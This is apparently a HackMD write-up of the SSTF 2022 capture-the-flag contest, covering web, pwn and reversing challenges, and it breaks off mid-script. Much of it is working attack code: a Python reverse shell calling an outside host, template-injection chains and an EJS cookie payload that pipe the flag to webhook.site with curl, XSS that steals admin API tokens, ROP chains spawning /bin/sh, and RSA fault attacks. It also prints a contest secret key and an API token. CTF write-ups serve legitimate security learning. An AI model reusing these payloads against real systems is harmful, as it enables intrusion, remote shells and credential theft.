Try   HackMD

SSTF 2022 Write up

Web

Yet Another Injection

We can get source code from hint
array_push($users, "guest:".hash("sha256", "guest")); in login.php
So we can login as guest
In index.php, javascript has show_detail()
show_detail() can read xml data and we can do xpath injection

show_detail("-1' or @published='no' or Idx/text()='-1");

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

5degree

import requests
import re

URL = "http://5thdegree.sstf.site/"
cookies = {"session": "71abe21d-a341-42d4-bb4e-bccafe2491b6"}
S = requests.Session()

def start():
    r = S.get(URL + "/chal?")

def get_next():

    r = S.get(URL + "/chal?")
    txt = r.text
    m = re.search(r"\\\[ (.*) \\\]", txt)

    m2 = re.search(r"y, where \\\( ([-+]?[0-9]+) \\le x \\le ([-+]?[0-9]+)", txt) 
    return (m.group(1), m2.group(1), m2.group(2))

def convert_str_to_pythoneval(eq_str):

    eq = eq_str.replace("^", "**").replace("x", "*x")
    return eq


def post_next(min_val, max_val):

    r = S.post(URL + "/chal?", data={"min":min_val, "max": max_val})
    
    if "Ooops" not in r.text:
        return True
    else:
        return False



def solve(eq_str, min_val, max_val):

    return (min_val, max_val)

start()

for i in range(50):
    equation_string, min_val, max_val = get_next()
    print(equation_string,min_val, max_val) 
    # "equation_string = -364x^5 - 260813280x^4 + 521047437232140x^3 + 342926436556601856140x^2 - 126796940609154453656796960x + 596594"
    # min_val = is minimum value
    # max_val is maximum value to get

    s_min_val, s_max_val = solve(equation_string, min_val, max_val)
    is_solved = post_next(s_min_val, s_max_val)
    if not is_solved:
        print(f"Wrong answer for \"{equation_string}\" , the answer sent was min={s_min_val} max={s_max_val} ")
        break

Use the Following python script to parse the the HTML page and solve the equation using the following logic:

1. Take the left/right end points and the points with f'(x) = 0.
2. f'(x) actually has integer roots, so simple sagemath code can factor it easily. 

Imageium

Pillow 8.2.0 has vulnerability (CVE-2022-22817)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

exec('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server.sqli.kr",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")')

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

OnlineNotepad

We have SSTI with {% %} and limitation for the character length. Note that server is using FastAPI / Not Flask. As you know, we can use set, include and arbitrary function execution (but sadly no output) with {% %}. So, I made some chaining for RCE using set and include. While I suffer from char lenght limitation, I found this on starlette's document.

So, I used request.headers['x'] for bypassing command length limitation.

My payload is like below:

import requests
import os
from binascii import hexlify
from string import printable
from sys import argv

URL = "http://onlinenotepad.sstf.site/memo/"
pw = hexlify(os.urandom(4)).decode()
total_chain = 0

def make_chain(chain, pay):
    global total_chain, pw
    print("[Chain %d] length: %d"%(total_chain, len(pay)))
    data = {"userid":chain,"password":pw,"memo":pay}
    conn = requests.post(URL, json=data)
    total_chain += 1
    #print(conn.json())
    return conn.json()

# def command(cmd):
#     global total_chain, pw
#     pay = '{%endraw%}{%set c=request%}{%include "cdefg.html"%}{%raw%}'
#     print("[Command] : %d"%(len(pay)))
#     data = {"userid":"bcdef","password":pw,"memo":pay}
#     conn = requests.post(URL, json=data)
#     return conn.json()

def rce(cmd):
    global pw
    conn = requests.get(URL+"sqrtrev/"+pw, headers={"x":cmd})
    return conn.text

if __name__ == "__main__":
    #request.headers['search']
    print(pw)
    make_chain("sqrtrev", '{%endraw%}{%set a=cycler%}{%include"abcde.html"%}{%raw%}')
    make_chain("abcde","{%endraw%}{%set b=a.__init__%}{%include'bcdef.html'%}{%raw%}")
    make_chain("bcdef", '{%endraw%}{%set c=request%}{%include "cdefg.html"%}{%raw%}')
    # command("echo '%s'>>a"%(x))
    make_chain("cdefg", '{%endraw%}{%set d=c.headers%}{%include "ggggg.html"%}{%raw%}')
    make_chain("ggggg", "{%endraw%}{%if b.__globals__.os.popen(d['x'])%}{%endif%}{%raw%}")
    rce("cat flag | curl https://webhook.site/a2279e70-10fe-4ce6-acf4-e2bc3ade5d9a -X POST --data-binary @-")
    

JWTDecoder

GET / HTTP/1.1
Host: jwtdecoder.sstf.site
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cookie: jwt=j:{"settings":{"view options":{"outputFunctionName":"x%3bprocess.mainModule.require('child_process').execSync('curl https://yoursite.com/?x=`cat /flag.txt| base64`')%3bs"}}}; 
Cache-Control: max-age=0

send the above request. It will send jwt cookie as an object. WE can achieve RCE with this controlled object when its passed to express template. refer to blog https://eslam.io/posts/ejs-server-side-template-injection-rce/

OnlineEducation

import requests

URL = "http://onlineeducation.sstf.site/"

s = requests.session()

def login(usr, email):
    s.post(URL + "/signin", data={"name":usr, "email":email}, allow_redirects=True)


def watch():
    s.post(URL + "/status", json={"action": "start"}, allow_redirects=True)
    s.post(URL + "/status", json={"action": "finish", "rate":-1}, allow_redirects=True)

login("pingu", "pingu@gmail.com")
watch()
watch()
watch()

print(s.cookies["EduSession"])

The workflow to solve the challenge goes as follows:

  1. The above script will watch all the videos using finish_rate=-1 that will immediately finish all the lectures. As a result, it will print out the session cookie value to be reused inside the browser.
  2. Since the regex to test email doesn't have ^$ check (i.e check to perform complete match), we can add extra characters after or before a valid email. For example, email can be:
    pingu@gmail.com<script>x=new XMLHttpRequest();x.open('GET','file:///etc/hostname',false);x.send(); document.write(x.responseText);</script>
    Thus, we just had to modify the existing script with such a (malicious) email. When converting HTML to PDF using this payload it will include the content of /etc/hostname file inside the generated "certificate".
  3. Use this same workflow to leak config.py file which contains the secret_key:
(pingu@gmail.com# should be secret secret_key =
"19eb794c831f30f099a31b1c095a17d6" admin_hash =
"19eb794c831f30f099a31b1c095a17d6" # sample data course_data = {
'name': 'Sample Education', 'author': 'SSTF', 'vids': [ {'name': 'Course 1',
'url': '/static/vids/min_ed1081dfc91fdccefe60094faa633abc.webm', 'type':
'video/webm', 'thumbnail': '/static/vids/min.png', 'length': 60*2, 'desc': '2
mins'}, {'name': 'Course 2', 'url':
'/static/vids/moment_61bfe721895bddf955f30f6ec08e165f.webm', 'type':
'video/webm', 'thumbnail': '/static/vids/moment.png', 'length': 60*15,
'desc': '15 mins'}, {'name': 'Course Final', 'url':
'/static/vids/many_9fa0b0f83487974654530648c79590e2.webm', 'type':
'video/webm', 'thumbnail': '/static/vids/many.png', 'length':
60*60*25+60*15, 'desc': '? mins'}, ], } )
  1. Use the leaked secret_key to create custom cookie value with is_admin=True, so we could send it to /flag endpoint to receive the flag.
$ flask-unsign --cookie "{'email': 'foo@foo.com', 'idx': 3, 'is_admin': True, 'name': 'test'}" --secret 19eb794c831f30f099a31b1c095a17d6 -s
eyJlbWFpbCI6ImZvb0Bmb28uY29tIiwiaWR4IjozLCJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3QifQ.YwStvQ.e3a0cPfsF1wCSMWv_qNDoq8Di3I

DataScience

Create attachment.ipynb with the following code to get XSS

from IPython.core.display import display, HTML
display(HTML("""<select><iframe></select><img src=x onerror=import(`url`)>"""))

Exfil the admin's username. It's sub-admin.
then import the following script

fetch("/hub/api/users/sub-admin/tokens", {
  "headers": {
    "accept": "application/json, text/javascript, */*; q=0.01",
    "accept-language": "en-US,en;q=0.9",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "http://datasciencecls.sstf.site/hub/token",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "{\"note\":\"afadsfasdf\",\"expires_in\":null}",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(r=>fetch("https://webhook.site/?a="+encodeURIComponent(r)));

Then we have the admin api token. then get the flag with that. why sub-admin token works with admin? idk

curl 'http://datasciencecls.sstf.site/user/admin/api/contents/flag' -X 'GET' -H 'Authorization: token 35e595c2253a45e2b19051e05db95a74'

{"name": "flag", "path": "flag", "last_modified": "2022-07-29T10:23:21Z", "created": "2022-08-22T23:24:46.000195Z", "content": "SCTF{I_want_t0_b3_data_speciai1ist}\n", "format": "text", "mimetype": "text/plain", "size": 36, "writable": true, "type": "file"}

CUSES

The server checks the structure of decrypted $_cookie["SESSION"] is iv(16byte)|id|sig and if the id is admin, sends flag.

So, it uses aes-128-ctf for encrypting the cookie with fixed key.

Therefore, we xored cookie["SESSION"][17:22] by "admin" ^ "guest" after login as guest and gt the flag.

Pwn

luqwest

The service provides a game-like interface. One of the features is to load a game. Reverse engineering this feature lead to the conclusion that the provided game script is base64 decoded and passed to the lua_Load API. In other words, it is possible to execute arbitrary lua code.

However, attempting to execute malicious code io.popen or os.system is infeasible because the io and os globals are not initialized. Taking a look at the initialization code reveals that two functions, start and load are installed.

lua_pushcclosure(L, start_hook, 0); lua_setglobal(L, "start"); lua_pushcclosure(L, load_hook, 0); lua_setglobal(L, "load");

Analyzing the load implementation instantly reveals an obvious vulnerability. One of its argument is a raw pointer subject to write. The address of the write(arg1) can be fully controlled. The value of the write (arg2) is a char * where its contents can be fully controlled. In conclusion, we can write a char * to any address where the contents of the char * can be controlled.

int load_hook(lua_State *L)
{
  uint64_t arg1; // [rsp+10h] [rbp-10h]
  uint64_t arg2; // [rsp+18h] [rbp-8h]

  arg1 = get_int(L);                         
  lua_pop(L);
  arg2 = get_text(L);                          
  if ( arg2 )
    *(uint64_t *)arg1 = arg2;                   
  push_integer(L, arg1);
  do_strvec_write(L);
  push_integer(L, *(_QWORD *)(arg1 + 8));
  return 2;

We selected the Table structure for the victim of the write. The Table structure represents an instance of the table data structure in lua, which is conceptually equivalent to objects or dictionaries in Python and JavaScript.

typedef struct Table {
​ CommonHeader;
​ lu_byte flags;  /* 1<<p means tagmethod(p) is not present */
​ lu_byte lsizenode;  /* log2 of size of 'node' array */unsigned int alimit;  /* "limit" of 'array' array */
​ TValue *array;  /* array part */
​ Node *node;
​ Node *lastfree;  /* any free position is before this position */struct Table *metatable;
​ GCObject *gclist;
} Table;

We constructed a strategy based on the following intutition: values in the table are actually stored inside TValue *array, and its integer index can be calculated without its contents. Thus, if we change array to a pointer whose contents we can control, we can forge arbitrary TValue structures by reading fields from the victim table.

Below is a minimal PoC that forges a CClosure value and calls it, resulting in an invalid jump to address 0xdeadbeef. Now we have RIP control.

victim = {} address = tonumber(string.format("%p", victim)) tbl2 = {} tbl3 = {} tbl3["text"] = p64(0xdeadbeef) .. string.char(0x16) load(tbl2,tbl3,address+16) victim[1]()

To leak libc, we constructed an aribtrary read primitive using lua String types. Then, using the RIP control primitive, we called an one-gadget.

function p64(x) cur = x out = "" for i = 0,7,1 do out = out .. string.char(cur & 0xFF) cur = cur >> 8 end return out end pie_leak = tonumber(string.format("%p", load)) elf = pie_leak - 0x42b5 tbl2 = {} tbl3 = {} tbl2["onEnter"] = 1 test = {1, 2, 3, 4} address = tonumber(string.format("%p", test)) startAddress = tonumber(string.format("%p", start)) funcAddress = elf+0x231010 tbl3["text"] = p64(funcAddress) .. string.char(0x44) load(tbl2,tbl3,address+16) stdin = string.unpack("<L", string.sub(test[1], 0x9, 0x11)) libc = stdin - 0x3eba00 tbl2 = {} tbl3 = {} tbl2["onEnter"] = 1 test = {1, 2, 3, 4} address = tonumber(string.format("%p", test)) startAddress = tonumber(string.format("%p", start)) funcAddress = libc + 0x10a2fc tbl3["text"] = p64(funcAddress) .. string.char(0x16) load(tbl2,tbl3,address+16) test[1]() while(1) do end

Dr Strange

The service is an one-time encryption service, where the key of the encryption is the flag. I noticed two 'peculiarities'.

  • Python's string implementation causes the ord method to yield values larger than 255. For example, ord("ׯ") is equal to 1519.
  • The encryption exponent is dependent on the plaintext.

By using these two properties, I devised a timing based side channel attack to leak the encryption key byte by byte. The vulnerability is caused due to the following lines of code:

d = (ord(KEY[ i % len(KEY) ]) ^ p) * ord(KEY[ (i+1) % len(KEY) ]) e = (d << p) % 500009 for pad in range (0, 6-len(str(e))): e*=10 o = pow(p, e)

The execution time of the last line is highly dependent on e. If p and e are large, its execution time becomes considerably high. However, if e is 0, its execution time becomes negligible. e becomes 0 if ord(KEY[ i % len(KEY) ]) ^ p == 500009. Therefore, if we iterate over c and attempt all decryptions such that p = 500009 ^ c and select c with the smallest execution time, we can leak the flag.

Below is the exploit code ran on the remote box, which leaks a byte of the flag. We couldn't leak the entire flag due to timeouts in the remote box.

from socket import * import sys import base64 import string import time def recvuntil(s, b): data = b"" while True: data += s.recv(1) if data.endswith(b): return data def encrypt(x): s = socket(AF_INET, SOCK_STREAM) s.connect(("0.0.0.0", 31337)) recvuntil(s, b">") s.send(x.encode() + b"\n") t = time.time() recvuntil(s,b"value") return time.time() - t def routine(c): test_str = FLAG[:] test_str[-1] = chr(ord(c) ^ 500009) test_str = "".join(test_str) t = encrypt(test_str) return t if __name__ == "__main__": res = {} c = sys.argv[2] FLAG = list(sys.argv[1] + "*") if routine(c) < 0.1: print("CORRECT!!!") else: print("WRONG!!!")

pppr

The service has a simple buffer overflow, reading 64 bytes into a 4 byte stack variable.

From here, it's just to provide a x86 ropchain, to call r(buf_in_bss, 128, 0) to read /bin/sh to a known address and then call x(buf_in_bss) to finally call system("/bin/sh").

#!/usr/bin/python from pwn import * import sys LOCAL = True HOST = "pppr.sstf.site" PORT = 1337 PROCESS = "./pppr" def exploit(r): POP = 0x080485e7 POP3 = 0x80486a9 payload = "A"*12 payload += p32(e.symbols["r"]) payload += p32(POP3) payload += p32(e.symbols["buf_in_bss"]) payload += p32(128) payload += p32(0) payload += p32(e.symbols["x"]) payload += p32(POP) payload += p32(e.symbols["buf_in_bss"]) r.sendline(payload) pause() r.sendline("/bin/sh\x00") r.interactive() return if __name__ == "__main__": e = ELF("./pppr") if len(sys.argv) > 1: LOCAL = False r = remote(HOST, PORT) else: LOCAL = True r = process("./pppr") print (util.proc.pidof(r)) pause() exploit(r)

PoWdle

PoW + wordle challenge

Since it is pwnable challenge, first we have to find a vector to get the shell or read the flag.
This is done by achieving >3000 score and setting email like '";/bin/sh;"' + '@'*0x780 + '.'*0x780 + ' 1'.
The front part ('";/bin/sh;"') is to inject command into os.system and the remaining part is used to trigger catastrophic backtracking to get timeout so that command injection actually occurs.

There is no other ways to bypass PoWdle puzzle So I quickly implemented PoWdle solver.
The final exploit code is as below. I've run this code multiple times to get proper score.

#!/usr/bin/env python3 from pwn import * from hashlib import sha256 from itertools import product import string import random from timeout_decorator import timeout, TimeoutError chars = string.ascii_letters + string.digits + string.punctuation def cand_gen(): length = 1 while True: for cand in product(chars, repeat=length): yield ''.join(cand) length += 1 IP, PORT = "powdle.sstf.site", 9999 context(terminal=["tmux", "split", "-h"], log_level="info", aslr=False) p = remote(IP, PORT) p.sendlineafter(b": ", b"\";/bin/sh;\"" + b"@"*0x780 + b"."*0x780 + b" 1") def find_sth(gen, prefix, goals, available, yellows, prevs): for cand in gen: m = sha256((prefix + cand).encode()).hexdigest()[:5] if m in prevs: continue for i, c in enumerate(m): if c not in available: break if goals[i] and goals[i] != c: break if c in yellows[i]: break else: for i, s in yellows.items(): [21/18436] mm = m[:i] + m[i+1:] if not all(map(lambda x: x in mm, s)): break else: print("{} -> {}".format(prefix + cand, m)) return prefix + cand @timeout(30) def round(): global prefix global cnt available = set("0123456789abcdef") yellows = {} for i in range(5): yellows[i] = set() answer = [None]*5 prevs = set() generator = cand_gen() p.recvuntil(b"Round") p.recvline() prefix = p.recvline().split(b": ")[1].strip().decode() go = prefix while True: data = p.sendlineafter(b": ", go) cnt = int(data.split(b"#")[1][:-2]) for i in range(cnt - 1): p.recvline() res = p.recvline().split(b" \033[0m ")[:-1] p.recvline() if b"Try again!" in p.recvline(): current = "" for i, c in enumerate(res): current += chr(c[-1]) if c.startswith(b"\033[100m"): for i in yellows: yellows[i].discard(chr(c[-1])) available.discard(chr(c[-1])) elif c.startswith(b"\033[43m"): yellows[i].add(chr(c[-1])) else: answer[i] = chr(c[-1]) prevs.add(current) print(available) print(yellows) print(answer) go = find_sth(generator, prefix, answer, available, yellows, prevs) print("Next: " + go) else: break for _ in range(5): try: round() except TimeoutError: for i in range(10 - cnt): p.sendline(prefix) context(log_level="info") p.interactive()

pwnkit

Use 1-day exploit -> link

Or

  1. Run watch -n 1 ps -aux on the server.
  2. Track all the bash's cwd with echo $(realpath /proc/[pid]/cwd)
  3. Check interesting codes and exploits.
  4. Intercept others' exploit. (In our case, /tmp/wotmdtit)
  5. Get flag

Secure Runner & Secure Runner 2

The binary is simple command runner with RSA signing.
Both version have same vulnerability introduced: FSB to overwrite 8 bytes with 0 into heap address.
There are GMP number values in the heap, so we can overwrite some cryptographic numbers used in RSA w/ CRT such as n, p, q, d_p,

Case1: Secure Runner

It uses RSA w/ CRT without any sort of sanity checks.
So we can do fault attack by overwrite d_p or d_q

#!/usr/bin/env python3 from pwn import * import subprocess local = 0 BIN = "./SecureRunner" IP, PORT = "securerunner.sstf.site", 1337 context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False) if local: p = process(BIN.split()) # p = process(BIN.split(), env={"LD_PRELOAD":""}) else: p = remote(IP, PORT) elf = ELF(BIN.split(" ")[0]) def one_gadget(filename): return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')] p.sendlineafter(b" > ", b"2") n = int(p.recvline().split(b" = ")[1]) e = int(p.recvline().split(b" = ")[1]) p.sendlineafter(b" > ", b"3") sig = int(p.recvline().split(b" = ")[1]) p.sendlineafter(b" > ", b"9999") p.sendline(str(-0x110*3)) p.sendline(b"%7$n") p.sendlineafter(b" > ", b"3") sig2 = int(p.recvline().split(b" = ")[1]) from Crypto.Util.number import bytes_to_long, long_to_bytes import math cmd = b"ls -la /" P = math.gcd(pow(sig2, e, n) - bytes_to_long(cmd), n) Q = n // P d = pow(e, -1, (P-1)*(Q-1)) cmd = b"/bin/sh" sig = pow(bytes_to_long(cmd), d, n) p.sendlineafter(b" > ", b"4") p.sendlineafter(b" > ", cmd) p.sendlineafter(b" > ", str(sig)) context(log_level="info") p.interactive()

Case2: Secure Runner 2

In this case, we cannot forge p, q, d_p, d_q since it checks pre-evaluated xor value with the current evaulation result before signing.

But there is another room for fault attack: link
It says a fault in modulus can be harmful.

#!/usr/bin/env python3 from pwn import * import subprocess from sage.all import * from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes from tqdm import tqdm local = 0 BIN = "./SecureRunner" IP, PORT = "eca189e9.sstf.site", 1337 context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False) if local: p = process(BIN.split()) # p = process(BIN.split(), env={"LD_PRELOAD":""}) else: p = remote(IP, PORT) elf = ELF(BIN.split(" ")[0]) def one_gadget(filename): return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')] p.sendlineafter(b" > ", b"2") N = int(p.recvline().split(b" = ")[1]) e = int(p.recvline().split(b" = ")[1]) sigs = [] for i in range(6): p.sendlineafter(b" > ", b"1") p.sendlineafter(b") > ", str(i).encode()) p.sendlineafter(b" > ", b"3") sigs.append(int(p.recvline().split(b" = ")[1])) p.sendlineafter(b" > ", b"9999") p.sendline(str(-0x110*8)) p.sendline(b"%7$n") p.sendlineafter(b" > ", b"2") Nalt = int(p.recvline().split(b" = ")[1]) e = int(p.recvline().split(b" = ")[1]) altsigs = [] for i in range(6): p.sendlineafter(b" > ", b"1") p.sendlineafter(b") > ", str(i).encode()) p.sendlineafter(b" > ", b"3") altsigs.append(int(p.recvline().split(b" = ")[1])) cmds = [ b"ls -la /", b"pwd -P", b"cat /etc/os-release", b"cat /etc/lsb-release", b"ls -l /lib/x86_64-linux-gnu/libgmp*", b"cat /flag", ] def nthroot(a, n): return Integer(a).nth_root(n, truncate_mode = True)[0] msg = list(map(bytes_to_long, cmds)) corr = sigs tamp = altsigs res = [crt(corr[i], tamp[i], N, Nalt) for i in range(6)] N_fin = N * Nalt M = Matrix(ZZ, 6, 6) M[0, 0] = N_fin for i in range(5): M[i + 1, 0] = - res[i + 1] * inverse(res[0], N_fin) M[i + 1, i + 1] = 1 M = M.LLL() sqs = nthroot(N, 2) for i in range(5): s = 0 for j in range(6): s += M[i, j] ** 2 l = nthroot(s, 2) sc = 1 << 1024 F = Matrix(ZZ, 6, 10) for i in range(6): for j in range(4): F[i, j] = sc * M[j, i] F[i, 4 + i] = 1 F = F.LLL() vec1 = [F[0, i] for i in range(4, 10)] vec2 = [F[1, i] for i in range(4, 10)] flag = False for s in tqdm(range(-100, 100)): for t in range(-100, 100): gg = N for i in range(6): cc = res[i] - (s * vec1[i] + t * vec2[i]) gg = GCD(gg, abs(cc)) if gg != 1 and gg != N: print("FOUND") flag = True break if flag: break if not flag: print(hex(N)) print(hex(Nalt)) print(list(map(hex, sigs))) print(list(map(hex, altsigs))) print(cmds) exit() P = gg Q = N // gg d = pow(e, -1, (P-1)*(Q-1)) cmd = b"/bin/sh" sig = pow(bytes_to_long(cmd), int(d), int(N)) p.sendlineafter(b" > ", b"4") p.sendlineafter(b" > ", cmd) p.sendlineafter(b" > ", str(sig)) context(log_level="info") p.interactive()

The algorithm to find the reduced basis for the orthogonal basis is from here

riscy

Just easy ROP on riscv:64

from pwn import * main = 0x104AE ''' 43c14: 70e2 ld ra,56(sp) 43c16: 7502 ld a0,32(sp) 43c18: 6121 addi sp,sp,64 43c1a: 8082 ret ''' gadget1 = 0x43c14 ''' 41782: 832a mv t1,a0 41784: 60a6 ld ra,72(sp) 41786: 6522 ld a0,8(sp) 41788: 65c2 ld a1,16(sp) 4178a: 6662 ld a2,24(sp) 4178c: 7682 ld a3,32(sp) 4178e: 7722 ld a4,40(sp) 41790: 77c2 ld a5,48(sp) 41792: 7862 ld a6,56(sp) 41794: 6886 ld a7,64(sp) 41796: 2546 fld fa0,80(sp) 41798: 25e6 fld fa1,88(sp) 4179a: 3606 fld fa2,96(sp) 4179c: 36a6 fld fa3,104(sp) 4179e: 3746 fld fa4,112(sp) 417a0: 37e6 fld fa5,120(sp) 417a2: 280a fld fa6,128(sp) 417a4: 28aa fld fa7,136(sp) 417a6: 6149 addi sp,sp,144 417a8: 8302 jr t1 ''' gadget2 = 0x41782 ''' 43a86: e11c sd a5,0(a0) 43a88: 60a2 ld ra,8(sp) 43a8a: 0141 addi sp,sp,16 43a8c: 8082 ret ''' gadget3 = 0x14944 ecall = 0x268D0 p = remote('riscy.sstf.site', 18223) pay = b'A' * 0x28 pay += p64(gadget1) pay += b'A' * 32 pay += p64(gadget3) # ra pay += b'A' * 16 pay += p64(gadget2) # a0 pay += p64(0) # +0 pay += p64(0x6D000) # a0 +8 pay += p64(0) # a1 +16 pay += p64(0) # a2 +24 pay += p64(int.from_bytes(b'/bin/sh\x00', 'little')) # a3 +32 pay += p64(0x6D010) # a4 +40 pay += p64(0) # a5 +48 pay += p64(0) # a6 +56 pay += p64(221) # a7 +64 pay += p64(ecall) # ra +72 pay += p64(0) # fa0 pay += p64(0) # fa1 pay += p64(0) # fa2 pay += p64(0) # fa3 pay += p64(0) # fa4 pay += p64(0) # fa5 pay += p64(0) # fa6 pay += p64(0) # fa7 ######################## 256 end here pay += p64(0) p.sendafter(b':', pay) p.interactive()

Rev

Crack Me!

Whatever the encoding algorithm the binary has, we can get encoding result by breakpoint to 0x29EF and see *(rdi+0x20). After some guessing with various input, only 1~2 bytes of input effects to 1~2 bytes of output.
So, we solved by making table of input-output pair by bruteforce.

from pwn import * import multiprocessing def job(i): print(i) p = process(["gdb", "./crackme"]) p.sendlineafter("(gdb) ", "b *0x00005555555569f3") d = {} for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_": p.sendlineafter("(gdb) ", "r") p.sendlineafter(" : ", i + j) p.sendlineafter("(gdb) ", "x/s $rdi") if i == j: d[p.recvline().split(b":\t")[1].strip()[1:-1].decode()[:2]] = i else: d[p.recvline().split(b":\t")[1].strip()[1:-1].decode()] = i + j p.sendline("q") p.close() return d pool_obj = multiprocessing.Pool(5) res = pool_obj.map(job, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_") d = {} for i in res: d = {**d, **i} enc = "ubx1uP9vh@kq9xXxF4Cxp93u319085" flag = "" for i in range(15): flag += d[enc[2*i:2*i+2]] print(flag)

Flag Digging

Have you ever stolen 3d asset rendered in WebGL?

First, we deobfuscated the Javascript code and started analysing it. After lots of "digging", we found a routine used for drawing triangles and reduced the hardcapped number of objects to be drawn to half:

As a result, we got a partially rendered model, with a readable flag:

Maze Adventure

Finally, I developed 3d maze adventure game. I think it will be very difficult to defeat final stage without any game cheat or wonderful maze solving skill.

There were 3 levels of a maze, where it was virtually impossible to pass all of them (to get the flag) without any cheating. Started with the GameConqueror and had some partial success in passing the requirements (e.g. increasing the time limit and money), but we were stuck on how to actually pass the last (3rd) level.

After lots of in-memory digging, we started to analyse the game files and files being written to the disk. At the end, we found out that game is using LevelDB to store current game status (for resume on game reload).

For "cheating" purposes, we did the following:

$ python3 -m pip install plyvel
Installing collected packages: plyvel
Successfully installed plyvel-1.4.0
$ python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import plyvel
>>> db = plyvel.DB('/home/stamparm/.config/maze-adventure/Local Storage/leveldb', create_if_missing=False)
>>> [_ for _ in db.iterator()]
[(b'META:file://', b'\x08\xcc\xf4\x84\xb2\xa3\xae\xd1\x17\x10f'), (b'VERSION', b'1'), (b'_file://\x00\x01MONEY', b'\x010'), (b'_file://\x00\x01PATHFINDER_ENABLED', b'\x01false'), (b'_file://\x00\x01STG_ACCESS_INFO', b'\x01[true,false,false,false]'), (b'_file://\x00\x01TIME_LIMIT', b'\x01120'), (b'_file://\x00\x01WALK_SPEED', b'\x011')]
>>> db.put(b'_file://\x00\x01PATHFINDER_ENABLED', b'\x01true')
>>> db.put(b'_file://\x00\x01STG_ACCESS_INFO', b'\x01[true,true,true,true]')
>>> db.put(b'_file://\x00\x01TIME_LIMIT', b'\x0111120')
>>> db.put(b'_file://\x00\x01WALK_SPEED', b'\x0150')
>>> db.put(b'_file://\x00\x01MONEY', b'\x012147483647')
>>> db.close()

Notice that additionally to obvious MONEY, WALK_SPEED and TIME_LIMIT we also modified the values for PATHFINDER_ENABLED (boolean value enabling nice "pathfinder" functionality inside the game) and STG_ACCESS_INFO (array of boolean values giving playing access to levels). At the end, we reloaded the game, started to play the 3rd level and just followed the path-finding route.

At the end, we succeeded in getting the flag from the menu (by having all requirements satisfied):

DocxArchive

After extracting the docs file by magic of 7zip, there is a suspicious file word\embeddings\oleObject1.bin. After 7zip magic once more, there is EMF file called Open-Me.bin in [1]Ole10Native. We can see the flag after removing some data for proper emf file.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Facing Worlds

This wav file has two channel and two channel's wave is different. Let's mix these two channel and remove the common part.

https://cdn.discordapp.com/attachments/816203216751558678/1011563880679481365/unreal_mix.wav

In each interval, make sound is 1 otherwise 0.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

11001010110000100010101001100010110111101010101001110110010011101100110010000110001100101111101001001100111110101110011000001100111110100100011000000010110001101101011011111010100101100111001011111010001010101001011010110110110011001011111

Revert and int to bytes give us flag.

SCTF{Unr3aL_2_g0_b@ck_iN_Tim3}

holdthedoor

Auto reverse the class file and find the correct path.

But there are some wrong path, 1) results "Nope" Exception, 2) unreachable path because of impossible key.

With simple code parser for decompiled code from jd-gui and perform DFS, we can get flag.

d = {} import math for i in range(0, 2001): if i == 981: f = open("Last.java", "rt").readlines() else: f = open("C%d.java"%(i), "rt").readlines() info = {} j = 0 while True: if f[j].find("extends") != -1: l = f[j].split(" ")[-1].strip() extend = l break j += 1 j = 6 while True: l = f[j][8:].strip() if l.startswith("throw new"): info[f[j-1].split("void ")[1].split("(")[0]] = "" elif l.startswith("code.append("): info[f[j-1].split("void ")[1].split("(")[0]] = l.split('"')[1] else: break j += 5 for k in range(5): if not "f%d"%(k) in info: info["f%d"%(k)] = d[extend]["f%d"%(k)] info["next"] = {} for k in range(j, len(f)): l = f[k][8:].strip() if l.startswith("if ("): nxt = {} l = l.split("(")[1].split(")")[0].split(" ") v1 = int(l[0][:-1]) v2 = int(l[-3][:-1]) v3 = int(l[-1][:-1]) op1 = l[1] op2 = l[-6] if op2 == "+": v2 = -v2 key = -1 x1 = -int((-v2 + math.sqrt(v2**2 + 4 * v3)) / 2) x2 = -int((-v2 - math.sqrt(v2**2 + 4 * v3)) / 2) info["debug"] = [v1, v2, v3, op1, op2, x1, x2] if op1 == "<": if v1 < x1: key = x1 if v1 < x2: key = x2 else: if v1 > x1: key = x1 if v1 > x2: key = x2 if key != -1: l = f[k+1][8:].strip().split(" ")[-1].split("(")[0] info["next"][key] = l if l == "Abstract next = getNext();": break k += 1 seq = [] while True: l = f[k][8:].strip() if l.startswith("next.f"): seq.append((True, "f" + l.split("(")[0][-1])) if l.startswith("f"): seq.append((False, "f" + l.split("(")[0][-1])) k += 1 if len(f[k]) < 8: break info["code"] = seq if i == 981: d["Last"] = info else: d["C%d"%(i)] = info def find_path(current, buf): if current == "Last": return buf info = d[current] if len(info["next"]) == 0: return None for k, v in 